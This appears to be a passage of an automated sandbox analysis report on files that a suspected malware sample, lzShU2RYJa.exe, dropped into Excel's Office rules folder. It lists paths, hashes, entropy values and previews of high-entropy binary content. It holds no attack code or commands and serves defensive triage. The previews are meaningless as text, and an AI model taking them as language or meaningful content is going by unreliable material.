SHA-512:	BE150AC924304867E783FB3E47B97635A87BC1893F07CB1B072D1B0C91CD8B6BBCE625FFA70DC692D64A68B6F1351D4EB6C5D919B827283A9DFD7FDE2DDEC454
Malicious:	false
Preview:	<?xml...........[A.../B......6Q.w..K..a.U.4%.L..."..I]f!.....$7....J.{.aYF.x..R).U.'8...Hf..4.....}!...D6~_...7N.[..[...k1....a#9.h...8f.>'k.......1..Yr....e..n...m....~@}.zaa...>5H..u7O...<..?x./..o..u#H.r...+..h..@.....xM...ZX.#...T4... 0....[XBy.<S.9.2-9f.......L .D...4...V..l.1l..k.;.........svDT....+..+....TA3S>....."... LEf(...=.b.V.....X....8.d.q..I..th...R>vO...J........J....$../s.z.\...F-z.P.SX.....e.....92L.....3.9/1..Kp...6....\Z.a1.)qb.k&....C.Z.o.jz.`.%..H.g.Yv..-'./.#...Z..6F....j36T.p...W.J.......lB.."......]...=.E.9...j..f.....x...#....iCoQ?"...-.<c.....OCw..Z..}..r....lh.-.'."..HQG..X.xg#.}...\....>.3E......x..g.#n..R.(.x.!"A....8..4.p.W.U.f..y@.c#.>%.s%.p.m\...=...$.ZA.R......E.%9.....,,P.W......$.Y.../..t..^v......`.{........&N...e.[^.z.sR.h...=..5'@z?..ZqbQ.y.[.....\|.....?y.C\.N}&...N.c..#e.@.<...d..."&......NC\...D....S..Q.g{.@.3.*.q.b.O..?.?.aec7wS\u"8'.r..#..."n.Nx.a.d.$5...c>2.....hJ.~B.Q........\....n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.765766753287431
Encrypted:	false
SSDEEP:	24:Im8WjvgpaEH8Vhefp4TyQm0NVNr76Em5WalVbD:ImBv+IVhefiTpn/alFD
MD5:	3B56DCE114ED6CB464CFB05D3ECD414C
SHA1:	4FCF88FE31B022AB634D572329A6AAF5652E3039
SHA-256:	D75B73C5624F1FD4804BF5FB7A348BB45A6CC708E0A5CC54B40D7578FFF5E9BE
SHA-512:	C22A48369B5B8360805AAB7D3C8D82F900BC4BE621F90EA4D9656DBC4C46F3D0C431E4E65DC16D68B671A127C1F26E71B680E22FF4BA092439C997E6862B5B65
Malicious:	false
Preview:	<?xml..... o....(Z.Dm..3.h.u.......y...y>.yk.OM.............~....o..\|...#\;..0).~..@."....e.w.\.N...iy.CBT...Pj&..8...\|.V'}.....G%h.S....;~...n.d.........m.J...K.....-q..v\|......a.....#O.!.9-s=...Rg>%....2{..6...._.?q.aM.Gx...S5.....Pj0...&.B....7F....wW>.......;.8...J"..pu..^.........Vi:)p.S.uf.tt...6.\|.d .IP...2..~,..m...f.`.z..?p:.H^...^..U..J..Y.@qL.....l .K..LJ+.......e.i.Vx..R.......s.d......R./..sv.y..}!y.#...:...Mp-...r.Ms...........F.:..X....9..[........ ..[3.L.`...._.h...U...CL@.....R.~{..D.P.=.-WI.\.sR......;Z.M}.w...<...y^...-.U.......BQ..x...._c..vJCB~....Hf........+....k@.kJ...R...`.>m..Y3..W.'..3....D..R0...s*..4...~....A~Y.`....t.W.....1. .`..<............mE\|y4.?x"....B...'u...I..V..RM.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.6350161142817194
Encrypted:	false
SSDEEP:	12:6tnD2ptQt6xouhXqBjtY5qDu1JrNgoFOb0AI46er0IHqbaA6zbXrcD8pb4nejVcq:SD2rU6xDhqBjtIqC1J6of46enA7opb4k
MD5:	F6E076CE7695700356579515A4376C42
SHA1:	F8A44EE6FF8AA27B0646D873D61B08C038BB7621
SHA-256:	B02F36D0A3459358F8278917C7EE97C8A2A776ACB59CFEB1F2A2E12C963E994F
SHA-512:	D6697BA00AEC8EB49EF433ED9B448112154C391BFF2C50B753291C9CA1A9553FE107BBE0F5DB3204124A9CCEAFB82D7E6C18F43F59C5ECE1FC531DBA8BEA18EA
Malicious:	false
Preview:	<?xmlD..%.-.$f....D...l(3..u./&8C.z.6&.......m^V.........,..o..Ou.-...ID.)x.sq.].4..\.J..v!....E.(......P.......)9}......SL.[.l202oeb..d8$^..h..m...A"U7.......Q}..VG...2;f...*.e.yi.7IL<...}..o....Y7l. .q..~w@.h...O...}.}.kY?......Ga..Jx.......~.....{.f.."OC..O.+.o...^..$.1......<8J.Z:._.e..'.a.Y..S..>...].@jFsbU.....`i...q.-....d.LL../.....^.Y.5A6VYH..2m....i...N.....Y.8L..D,z.\|..]..^...L..P.2#..s...D)X..C..U..........2.}......{z...eF}#.6K..[..Y.... .L'.Q...^_..J....}.z'....$.......7..^..;.81%......^.>.......s6Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.754104127382725
Encrypted:	false
SSDEEP:	24:fm6zOktyqqZvMHBQaa2A6PWfpIdRQpTk6NaDTJDcVbD:epkoqqZvMhGy+Y2k6kuFD
MD5:	C23A480628F0F91AD00D2F7BFF49BAC5
SHA1:	5D1F58DD453980B1D97CA3B8A2F32E9754ADB3F7
SHA-256:	42ED147520C2F1FE65054C5545E50319EFDACCACF28D76E9F3D3E4FD6DEAD793
SHA-512:	4E0B45C480C786A5FE0F5DF5046366AE40069D4A98BB2331C72746BD50C5CCFE3A9527CD856CF10A251C83FD5173D0DDA2DFED6F0C1F553E2710A5AE285D6DF6
Malicious:	false
Preview:	<?xml+.z9.F!.P..a..Cr.....f..7........>..D...'...^!".../.mc...oA,.).........AR..s..=..t.G..\|.\|.#.d...Z5.+.T?j.X..[.=.;..ZW.ps.$dD{......5<..K0....~..v.S...=.D.....CJ....JL.~0~.q....8.d.~44.F......XI/.Y...2h.......X.,.g.G....x7vp$..r..L..W...v...C...z.\|.....f...F./...q......P....T.....~..f.L...k...x.i.T.i......B.c..\..H$.@L&j>H.U..E.....a.u..:.R.....C.f...A...J_>r"..bP.v.}.0...x........'.sS3.....o5...9..F?....Q....A..x...0..!....m9..(.R...0........{<.....Y..&...._$...lv.6..iK..z.k.s..[...}.....;.Xqk.-...A+....}e2..T.,.4..N..4...I2...X....!\|._..].?{2W.>9F......,aq ..WgS.i.^..U.....sT@.L#.0...o.....Z......C...!.4.(:J.F:WS../....4.So....1...\....b..H.....g^i._vZ+....).y..../(...S._ .6.I%.Ly.[.AK....p..Bi..q;..{.p..7....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.973270923724434
Encrypted:	false
SSDEEP:	192:2t2N0RnBveR+vzUa9J7NhCOxyGWwtHVGkIhi2Ix/K:2O0TveR+DJ7esv8lhiny
MD5:	7CA14A913DDB796C5C781441B295F963
SHA1:	EDD4738E2BE93E583052B642140F09A15CCE5DA5
SHA-256:	C306B25681BF4A5BA4A1231609492D9476262328A55B576E27B45FF8B17F28DD
SHA-512:	04955CDC71773015A343967AE9858A1629E355F5A3B14F217356C95A4BB20C83189FEE069CFF3CF912B9408055F8D765C5F84A998D2B41D70B20987A37208198
Malicious:	false
Preview:	<?xml5.:.F.i.......Y........i..I.....<..:fs...@..=....@..s..v..$fB`\|T.U.)h..-.Z.\.d@.j...@...=..3..c..d...NV74.M......i....TO..+..#..IV...g..o.y..vS...Z!!...8.....g.6..w.Zn{.x.R.\S.D3.....y..J:.2&(........N?< .kA.....F.y_Z.....'.......G......u...\..L..k.c........a3..\..54~.2SW...v.F_..?Pbm..."@....s..e...$.{....(.D.B.@....+..[ ...^..K.0..c.n. .v.H...r.....Fo.h.7..Y''1.wb..S$...F.OTt...c...KQ.b.Q.0.KF.2{.......'...Y.i1.'...g.\|:f....\...O....F...m....~\|'e}.]>@$K.......X..\...p.lY2.....v.=......R..Q)XE....S...Uz....pJ..!n..am.K.+5{.....I?.].z..k.G.(.........'.P.&..z. /A.\|....T:/.T.x%../.F.q2....(..K...FB.rL..O.....wS..e..+..o...o..-..F.\|.T..Z.._g;W...IT2..../.y......K.9...z\.0.....ZP.n.le..m:.N..Rv.w......%..].x/G.9..+.G..c.,r..?[K..h...@..E(.<U.....}..,.5.w.B..L_=~w.<.:..43..d.$...F.3.u..uK...b...)..Q+...hb%..U..!:.Q...r.t.._M..[gZPN.....^.....cV.nQ....k[..Z.t.X.....+.dA....@`..1....I..."."=W.U.......@8.u..;.....h...M.&.`L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.784251795904253
Encrypted:	false
SSDEEP:	24:DY0T+lw8h5bVSkHCpolsHX8sj15VHv2+6IZ7GVbD:l0VfNW38sNv2FIZyFD
MD5:	A97F0F316D69B87684F512E979AB8D8B
SHA1:	D0CF3506038B9E89E5E14310C4C035A49109628C
SHA-256:	E16ABF65D0C7FCE49949CA7AF18301C92241E0E0184426A7AE9CEDE236F7894C
SHA-512:	CD4CAC77CB4EE8E78ED7E21E3DADAD3882D328D2565933AC3294759AB2F2B3D98EE88F886C173EF5BD3A198B08671194D61CA477A52AF73FA4F67C7FFB860C2A
Malicious:	false
Preview:	<?xml.~..\|R..v5Et....1@.[!N%db...t...9+.q1jD....~F..{..t..jE..>.4...Y.cn.(.5{.&.{.....c.B.I.'.-q.W...>.{%.F]tC.8..VE..T].25...._..;C.Q../?X..@...9.W.yK.^(M...}..G...U....-m.C.1.z".2.f3.K.D.k..g....E...?.y\.}..G.....E-..s0......{...p.%."..........).,. ...d.........0.r.a.....RD..kh.M.x.n..0js^.7`.L.di....TB.U..pae..a.._..'.\/.\|\|..Z]..........t4.........w..........F.4....k.e..)...{.?........[.....^U....D.\m..F..IQ..GT....T...\|x..F...z6...\.pL......a... ...^..m#...L.,...6l.........Bl..Z.\|&.p....C..6.;.....(....[M[c.su.}...e..Us...(...c...R6]V.K......}-..}r....E....5....G....}c..SVA.3.P.f.E.@a.....GJ....P..X.MV..y...Z.L.E1...>...Ev..6e....6.h,Em}......C\g../. .X.....s..).,....zo..jV4.b..S...37..6E..k..~...<..l.P./_.C..7..^.E.....K7..b.\.VV..c....X.,....P..A....;R....fOf.u..w.cl..B:d...Z..QVIE0.>m\|4=...hG.)...[L.'f.;k9...^..n$..}K.,.......e........=...$E...9.j6.......xANe......-.........]@.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.786046924124611
Encrypted:	false
SSDEEP:	24:lCY+sSgOvsOM9xWBUKbmd58MupnXC6/D9EkuOkZSVbD:YPgasOM9aUhd5upXT2OGSFD
MD5:	ACE033BDEC182F80E32BA7054E9DB8FB
SHA1:	5B711D204683DE90CD4D27E24B33CA314E3DDE6D
SHA-256:	17FF741CD5D44C63E006BB3BB910FFAE2A01B9E24B7EB0AD4237144AD6191E83
SHA-512:	AE1BD9A35C38C492AFBA316B6FAABC0B772144964BE0D4949C70212B71B2AAC4CDB073C59289CD5BB7AFF299F44CDC1C9B175F4BE4406DD76BF8FAB66156D850
Malicious:	false
Preview:	<?xml;.:..?z.{.2...z.u....b.gc..j_#...@..j.].c.bW./v.....T....C3....B..N<.F$FS.G.U...`S........mQ..b..e.....Q..Ki.V.kh.....l.X.`.V...H.......sEC~....,u]/s.J..K.A`.4H....f...\|...Z.r&...Z..C..E....B..........t)d...1.$(7..[..%0.PC......B..$r.=..>^.%.....H#4.$_X......\.Ri..V....m.!M.j.I..>.L....{l.\|..(......".2.[M.;......R..^.9Dq.f."0...2. sH....@..I..5.....v.@.7.&C..w..L.).A.N....@\..R.8.f..'.\|.18x_.U..........r~.6D.6......M...v...}.W[v..?R..~Z_..4.0.5...Rm.b...}7.H....W...3.}...b>..}?.l.z..`p#.-..+.G ..b;.~..C..... .:.......h./.]G.4.....#..R..?.&.Z.n.D.I=rR..D.lm..#....:.... ..>Qu.....2..N;...&............T.;....#.i..M.n.!^......e.s...f...8.0r..{.D..w!G}...(..BA...5_.R.G.D..y.y5....F.c....->..".fG..[...........>m^Z...a.18]X..at.+E...[.Z~..'...mQ.{...H..?...?..=.IUIRi......&....b.E.8....D.6.u~..h..G..%......nZ.._....\.-.....O0.%.P......X8........O..,.5;b[.a.j..S8.KA.A..a.F...G........OW...&....Z:.uD...q...c~(.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.849459400338495
Encrypted:	false
SSDEEP:	24:EsPp7eXiw5nI9E4kgYMxKc/r/uWIE/DV220aXG4gHhjIvC7vVbD:UXvaE4kgZKFE/Z22kVlIqDFD
MD5:	90D2469E6598BB4F857A0C43F890709C
SHA1:	31B537712ADAB89DBD58DBC41C9345C551ABE64A
SHA-256:	6E0A6B2CC7A2CF5480FAC7FE8EC2C3FE2197FF8D21AA679EA8B56AA47631650D
SHA-512:	4FF2C679303EC72567A0619ECF6F4F679E9DA4446AB0026143BBC73483F3E52340F62EC07FC58F5FE7CC4856934298553743BFF00125E602FE4788382725BFE4
Malicious:	false
Preview:	<?xml...w..............d....A...H.l.ga.x.<.....!(...a.=.{..d...^l.'/T.1;..1.q?%J..@....({gu8, X..ag..V._../\.........M?2.qU]e..t.'...............E...i.. v0.%....._.}?........zz.R.D..W~...=.C.)....ck.jPQ...Z......".....s2.~I...S.>.....=. 0.u..,..:.......g..0.......@...Z;..X..z.l.T....8..4.".[.n=...P...bS.3....+.....`.NI.p....k.N[......%}....g..}j..@.....o..2....V..%.-........T....m~`b.%.0..C...Y.i..eC.Y..k.6.8.O.v.(.E{.4..1t...S%z..+.-.D.5.K.Hb.LI&.I......5N.......\|2..X....a.{.f....,=..p.+@k..<U+.........>@....d.?r..>g6...,K]t-0..k........;E....s.a1H..\p..q.tW.......6...x%3q.....H.(...8.6...!...[:5v.f.d.....yc..:].q.7.f=..-UKr.h.a.\|......m..TB......8.V.:.$.%T).......~......~y..n....1.P.g. .....o.45.#&b.f.qeih`.8..b.X..V...Q.o..F..:.r.%.p`k[T.<.11.3].YpN.G..1.M.Ra...\..F5.N.F(88(~..r..exx.&aX.(. ..J..p...................7go?.i.O..0.uS.1...tq......c...(.F....Z.....A&.....cz...Y=$.0...w.I.].....\|....4]......!ZNK..:".............X.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.801988523847443
Encrypted:	false
SSDEEP:	24:XNF9VfpyoW/+LRMlpEcrdBFjSGaqiSsUVHRVbD:dFXMGVapPFfaqiSPxFD
MD5:	FC3CE9DF286CB645A26C747D69A3F636
SHA1:	00D8CB913B10C497C3FC185EF4265A0294D02488
SHA-256:	8DA8B1A2E056E1032D13A8B559D1635DE8303A2B9B6BD3CBD5F1DA3545D41B88
SHA-512:	E5271031F3F070203173CD2F0DBCF66393C5BE5ECD64F7F19B30BFFB43158C4554921AA50B7B7E89C716907917AB0D26541643982245A177CC3B50BA4DA78EC8
Malicious:	false
Preview:	<?xml.hSz.........'.}..Y......w....~..7.f.......rn"4.....L...\y...7.U}..-u.'...#...A...V5....1fq.dl%b(.....h".{{. /..{....W..H.y.aI.......N......:Phr.`..X..&II..A..]D\|..+0.8..#~...HD\v....1J..o.:.w%'E.'......U..k..=.......0.B........g~.RW.....\N.\|%L^dT......z.L....We[.S.b..@..f.1x`.y~...7.;2.="..riL.L/.JOt+.N......8..(?..._...r.....0....r.CX.+.)M.. ..5.=IX.O]/.T1..ZQ....\........H...w..re.i...D.mD.\|..^...F..j.p.3M..\6...N...p....X....CH5..$[h?..,..{7=....o.-..U.T.\|.u.0..<.g..#...X...Dh,.:G..t..OJ1......!^......;..&....Z..)%SL..!E....&...\"7.VA(.c..d.....}........F;....x...........H..I..).NB.B.........Ir..].].d.....Y.F..g.A.....+.G..<e........@....!.d.=x........Bo....y.}=.L.IK.b6....V...TD..v.E..8".....)..3k.eFs....s.a..K..V.8....) ..n..1...t......k&....C....'^KV..y..S.e.e.V.......g.(...I.....{.x=9.P.3#u.u...M.T....;.7.nG..H..X....b....".y.....7?j1.:4.d..j.....~^.)U..5.......D..:.1...YY.y..zfD7D...L?..2R.?.A.Ea..g....M..Z....+2VK}itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.814973185875639
Encrypted:	false
SSDEEP:	24:ITEdUjg2fDZbqWL/U4CwtTjb1Q3HMoKanOoJB79r6bqYCVbD:SjBqWrU4CS/ZQXMGbb79r5FD
MD5:	0636FF9ABB07E119DEFC522180B9FC8A
SHA1:	5A525DBF163B3F34B7A874140B1958AA2D27B7FF
SHA-256:	C502D65087FDDDB72A3769E385A1F9663D11716F6CEB066CCC29CFE872E97AAD
SHA-512:	B0FEE220A452CAF63FE030D0915AC580D4BD2D6237E79557A8DABEE449FC23D3414522CE71C5201F777C02AC998EB328391B71A77364F089143CFE90471A058F
Malicious:	false
Preview:	<?xmluv...kOf.....%...)....K....A.Md..x..~.`B..qf.q...6.....$...[h.?'g......S.k.6.E.x.[..w............H\.fJ.#]..............&}tZ..;.!.-.+.;3e..P..._H.U.E......7..K6.........~u$.........k..%..}:.u.....k.v..e...o....#`.'..~..@...:.j>....=....:..08z.7...V.J.l........p...."[[...G.L..}.rF..'F...XS....`.T;$2O.\|.XRk..A..j..".....2.2t..2.i....@................p......%}.Y......2....\..\..q=.....^.../;K..s=....).......!.vXJ)+!3.../@..5}.}......!0I.-.'N.$U.........!.s,.ck.;v.....ty.c.%..;lOj.j)..\|So_.....\|K.....\|..).Y......ie...]....AQ...@.N..`........d.<q..#S.s..s.o~...=OP-.....ND.R..:.v...\7h.DN.%...?..).J..xU...j..OZ.../....>.zl^N6....6...K..%......h.L..\|.rZ....\|,.E.H=..W.i.3.6...\|.L....H$7rp8..(.8..xk.\rM.5W.f...R..t.C1.@. ....}..0H~.i.b8..aIr......t..q.o.c.G.l8(..CjrR..%.\|..3..c.....w../..5...g.L............<.S#..)....o.h4Jft..-........L..H.......n._<..Z$.$.......#......u...l.[..X=...V...%.p=.]..4.w.e.4.-....P.a..n....C 4I..PL.............Af[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.897617230847544
Encrypted:	false
SSDEEP:	48:XpeXfXtVVm681q1UgTbFDg6vDgO69lp5FV3sXx5OV3uQXRFD:EPte68KFDg6vDUp5XsDO9uQh9
MD5:	0C7469B5C6CB8D1A6F45F807EFD1F93B
SHA1:	87E6B0183043255FC0C7CEC35B2EC79212E8A912
SHA-256:	E9DBA2D3D0CD93DA6FA2F4188B6ACC492EBD961175F8149BFF2E6687E79629BC
SHA-512:	B441008490070711BE8DEDCC9C2CA8388BEDC31698127DB983418CBC84B9877B6243A30200BAEE65F7D0604259BC62C4166DC0757AE2411EA25610B57385D208
Malicious:	false
Preview:	<?xml^.)".d..B{9PI.7K.....o?.c......A..\.;{.^...{.=T.2.........!..QC.+^. .K.t........."ISr......)D...3w.3.h.6U.j.\|?.v.W..>....H.....}....2D..n......w7,.@1.S......A.Q.V....Oj@v...n 9.s.\|.F..T.]...beC..,J...{..U...j....Ky.....Z.........4iG...~[p+^.>..Zf.d..+j..cRM.U...V......-...X..;D>.z..!.B#.}.W.]...9.?.8.....&...+g....p.........b.\.A@.hD.^....=..0.n.6....\|)y...d.'.!...@_.p.......Up....s0vJ...~...D8Y.[2......0. &D..q..\|...d. z...V.,.w......m. .~A7.....&..^kt.Sc...qf.?R.Aj..2..Y.......W......( ......._...h..S_1...<..u.......A..@..W..a)..U......hC.8. v9...@.....H9K......T.%7........X.o.....i..J_#.KKU#.dD..SjH..v.DP.>...s~..U....j.D..3~.()...j...3..-.._?....n'...$f...L..v%>.Vj........%.').S.hD.%... .8}.v.>.j./L\9?..V.`B.6..T.e.v+....[...6a..{..X'..;G..K${.+..G.t.=Z......we.p+0KsaJ..t.2....h>.a.gm.t.:;..+.y,...7.....)..LT...M... ..TDM.KR.%D.f.BY.!..x...V.\.V>.....;S$.f.....>x..hFl....h..........u..!...l&.$.f......*..j.%..........B.\|.U.8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.717234258876749
Encrypted:	false
SSDEEP:	12:oL6kkJCfnGrpnOsELTvNdjNAl7AcKydQ/JwpBaIMPjVcii9a:oL6khGr4xjNdBz6QqBSVbD
MD5:	4C868809D58DB55CE6C319DBB7047A41
SHA1:	31F6C39F4168E755FD1CDDD65452E929D4499C4F
SHA-256:	20447FE4CE66A3980DEC68EC359E25B4A6F9B110F56215883BD907200D6E3ADA
SHA-512:	FCF0653A65653296A193C2CED0D1AE5EF8FC2ADDC64D5F95E925A80677BF719119DC9A1D42ACC4ECC34806B3438AF00A945C16D107E578B1ADE83F39512AF8AA
Malicious:	false
Preview:	<?xml....).+k...).%,...Q....T...i0......CLB...........Ln...8YH....:..4e7....`.......=...4..`xv..T5.&c.\|U..U.Zw..$.G.>.s...Q.....<~..e.'R.R<..x...e....{)....Q.F.^e....C9h.#.P.o..'g.2.....%[}P.....!.i^.iO.!.\|..P.]..qZ..q..%B.e..6/...J=`..w.o..;..p.......C?-1..Er..(`T....i..U...@.A9qC.....w{rh..BPtQ.\.....z........t.#...9oTt7.#.k......m.).@q...Y...G.....a..M......P.......3.._..r+F...n..w..... .b/X...O........3I{..(..~..;.V.2XG.....+\KT.K..\|...{.Z.=....4.iKP[..9. [..w.Q..z...F.........L:."......t,\:.h....d....q.O7..v..=....R.j..J.4.m......H...K...O..l"...9=.....}.r;D..;..C.U.......{W!$.e.'..b..i....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.886387350580584
Encrypted:	false
SSDEEP:	48:urGJ7aPKOkWfQ+Jo29j2PgAsauz8lZ1byUjOkgmn+eK6zZ1DgSFD:urpiOkWo+h0gApwUjTgm+UDcS9
MD5:	76648B29305D834F648D9BBE484A1BB3
SHA1:	D7A8000E86BC69BCE627AA4E05C95BF12204212C
SHA-256:	178AA56EDE6D40CDB1A64BF497748659A2D5CF0719578EC20280CD490724819B
SHA-512:	BA36B5D83F721E1D569710316B316E33394DF440A880AE3F5C39C40717B5BB9ED6CFCDCF3A7745D8630013B48E7A9824830F01B56C557BB9B46FBA1482B00321
Malicious:	false
Preview:	<?xml.b.o{..e.0..,....>.I.aD..KPzr.2.1.N.."..}w....e..;a...........;...R..vcN..1...n...;>g..._..n...w..Gn...........t..~"w.q.(...6/.z...?.......x...:... .KM)6............o.<~N.};.:...Rj..Q.B..!...Y.=v..'U.\|.M.vJ...g..KC............&?p.....{......qz{.'._$_.]r.x!ky._K..!..$..[.A\.&....ZP........Ex.%..OI.cL....BW.'...~.-..;%.3..r-...2...aE...q......yf^X..^S..e...R..bS...\Y;..~../...\...:.._....B...W.!@..{...ZqD.Q...mdyF-.Wy.>...!.f..\..&..............!.%.=.PU....z....I.>.2rM>C..... ...._..Gz....+Cb.>d.\|.i...vi.W.vp . ......D...L.4.].\HU..uw..LR@...'.>...6..K.r..Fc#...{N..S....q.2H.Z.n.h.....[...p..$BDtM.'..xn.s.\.-.......m..).......-.`R.].0............;o......h6.5..0....E.!.,].V.....5.U5.0_..3e%.u?9."...y.....).>R..C.dC......#..u......W.Q.G...Z.]R..H.WpO.......:...F";%]...8z..D..}..j.......7..I...O...s..E...-..'...C+.`.G...h.h[v....2.g.>0.yg.....A.Y..2.:O.@...U..2.X1<....2b...;..Kk.&.;.......Z.....c......\.&...ScXE].f..x.yt

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.902162585985563
Encrypted:	false
SSDEEP:	48:Qd43XgoBTMOWc8NeEVI4gtRWOlEbZwfVYU4cysuSyFD:a4HaOWFQobZdU4cysg9
MD5:	4FDAA9469915BAAF325B336B5E800831
SHA1:	20F1DEF5DE3DBC8E12B8D785C74ABEC89DA6BB97
SHA-256:	36B127BEAB9F671ECEFEDFD1D8AAACCD3C3D8D762968BF4A969CF336E60BE874
SHA-512:	4A544F547ACF8BAE16ED79C17871AB236C00A153F5DFA0ABE3D07F26CEB3CB1FB4766884E2511739589ED0B6F4854E0B6A0B326998455A6D3A036DBFB80F3FCB
Malicious:	false
Preview:	<?xmloG.s..(v.k...p....)0!..........A........]?&../.@....7..FD...l.P......+@Pe.....y.e....Z...u...#...,(....E6M...fr}.OM.<...:m...'...<..I..sGE.....~ 8.1......A..B.qacn....+..y.x..A...R..........~...u.A..]...}W...\..~..Yn....K/:.V...rW..h.V...\....2K.".....~.........acV.c..f.........<.,j7.N..8.+^........1?{..}..&.,...(z.......e.3.&...?.A\|(I,.........^!.....uDL_}."..XZLYD].NIz.Y..yttn.X..l..)..sL.3;...B.@F.......pY...-.b>.Y..d.S..89......~..n....Qo...._.x7.?T@...k`..5 `.l'./.^9..Y...T#-..fi.g..l,.6...S...0..<..$._.r...\|o.z..]...?H.............N.Sg.9.0..mQJMc$....{.Z.:.sW..?F...zj...0\|.............J\|.............U..0.1...._.Z.$7..Dk%i..W.Fxm;......o....\|N.......EYj..p.z.E.<..P....w..{u.?C..e.Z.a<qGN....0..J\|...o..,.A.h.f....tF...xa..<.G.Q.k..4...hdz...-.YV.o...../..y...E..s..D....V.P.....N...g.p.N2S......^A..L..6... m.^.$.J2........$..O{.r.....g.hT%..E..&m.n}...W...>b....D.woo..4e<..6%;.5s.I...Pm\......B....+..=..".)..0...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.855804845314276
Encrypted:	false
SSDEEP:	48:Bwz9kFOk9m4eEPEBRXSVr+1nDPo6JeAZ+9G5ODlf9+FD:Bw5kFOk9mssBRyq1n7o6cAEeAlfY9
MD5:	59A51F413D8C15B6251BC4FF3934D72E
SHA1:	514CDAB158E7E6A29CB7EEE24FE7B5F526AF8D31
SHA-256:	035BC67FF499202F1C9477B8968304716DFE61BE060F3FB9FBF630086B21C790
SHA-512:	592D5F7038A612DECF41836ACD8D1B2C72472F9C37B78278125C17D41E107EC4E2897CAB0661E6DD4200DEE5E9D3CA4CD4A1444B0C7E1F14099D34799606CD65
Malicious:	false
Preview:	<?xml.w6sX(...7FRl....x.2.\|....U.....Tq.i.m.......o.I.KC...R.o>K.V....N.I[.K..\....L..ly...2'i...P.o.. 4.y..xU.....)...j...C.;.A.d.....R..x$&J.UU./..-.....T.o..~.p........s..'.1D.97.v6t.T.@..............U(v.C....M.$..+,...ISt........u@..).v2Uw[w.V.T.....5`Lu.b5....O.....u....LI.3+.o.4...r....F%g.<..>....&.}.W..&...$.3!x..6...JO.b^......F.t?...%S.i7.r.(......`@tc@.M....g...y..W!..e.K(d.;..wMH...Y0....-tVGPnR..E.l.f.n..[..0.t0....7Rkff\d.Y..).'.)....n....t..i..K.-.l.1....d7..._.#...h..wT..Fn&`...)[T.<...[R;.;..Z$........G...)uqw...5e^.........{...\.) )LR..XD..^.f.-.Z+B...B..v.1.a..F S...AQ...b.j.f.fHR.WLluXl..1...;..\|.;.z8.+.Rs.E.VE.......+......s..bMe.)h..C..d...'.o....<i.pB..7..%.Bh.scQ..._.z.gn..s..S.. 